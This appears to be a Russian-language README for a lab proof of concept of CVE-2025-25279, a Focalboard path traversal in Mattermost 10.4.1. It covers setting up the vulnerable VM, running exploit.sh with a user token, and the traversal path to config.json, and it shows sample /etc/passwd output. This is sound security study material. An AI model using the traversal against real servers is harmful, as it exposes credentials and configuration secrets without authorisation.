🔥 CVE-2025-25279 — Mattermost 10.4.1

📤 Path Traversal в Focalboard, позволяющий выгрузку файлов

🌟 Обзор

Этот PoC демонстрирует эксплуатацию уязвимости CVE-2025-25279, затрагивающей Mattermost 10.4.1.
Уязвимость в Focalboard (модуле управления досками) позволяет произвольное чтение файлов через path traversal в attachments.

Эксплойт позволяет выгружать:

• /etc/passwd
• /etc/group
• или конфиденциальные файлы Mattermost, например:
  opt/mattermost/config/config.json

Атака работает только с аутентифицированной учетной записью пользователя в уязвимых сценариях.

🗂️ Структура каталогов

• 📁 target: каталог для создания целевой box
• 📁 live: каталог для создания целевых ВМ и демонстрации эксплойта
• 📁 src: возможный вспомогательный исходный код
• 📁 refs: каталог, содержащий статьи и библиографию
• 📁 docs: сопутствующие документы, созданные в ходе проекта, включая видеозаписи

🔧 Предварительные требования

• Vagrant
• VirtualBox
• Набор файлов проекта (target + live)
• Учетная запись Mattermost (PAT = Personal Access Token)
• Linux/Mac/Windows с Bash

📦 Загрузка Mattermost

Папка target/ не включена (слишком большая для GitHub).

Загрузить вручную: https://releases.mattermost.com/10.4.1/mattermost-10.4.1-linux-amd64.tar.gz

Затем поместите файл в: target

Перед развертыванием ВМ

Сначала перейдите в каталог target и выполните:

cd target
make mattermost.box

Убедитесь, что у вас есть box mattermost-poc, иначе ВМ не запустится:

cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box

1. Развертывание уязвимой машины

Запуск ВМ

cd live/vm1
vagrant up

Подключиться к ВМ

 vagrant ssh

Создайте пользователя в веб-интерфейсе:

откройте: http://localhost:8065

Создайте токен в пользовательском интерфейсе (UI):

Профиль --> Security --> Personal Access Tokens

2. Установка эксплойта

С хост-машины:

cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip

chmod +x exploit.sh

3. Выполнение эксплойта

./exploit.sh

Вас попросят:

PAT (Personal Access Token) :

👉 Введите действительный PAT пользователя Mattermost.

📸 Пример вывода (выгрузка /etc/passwd)

===== CONTENU (début) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh

Целевой файл: config.json

Чтобы нацелиться на конфиденциальный файл Mattermost:

Измените в верхней части скрипта exploit.sh:

TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
Затем эксплойт отобразит содержимое файла config.json.

✒️ Авторы

🟢 MAHAMMAD MOUSSE Abokor 🔵 PARNET cyril

🎬 Видеодемонстрация

👉 Полная видеодемонстрация находится в: live/Démonstration/video-poc-cve-2025-25279.mp4

🧩 Примечания

Этот PoC строго предназначен для учебных сред. Никогда не используйте вне образовательных целей или без разрешения.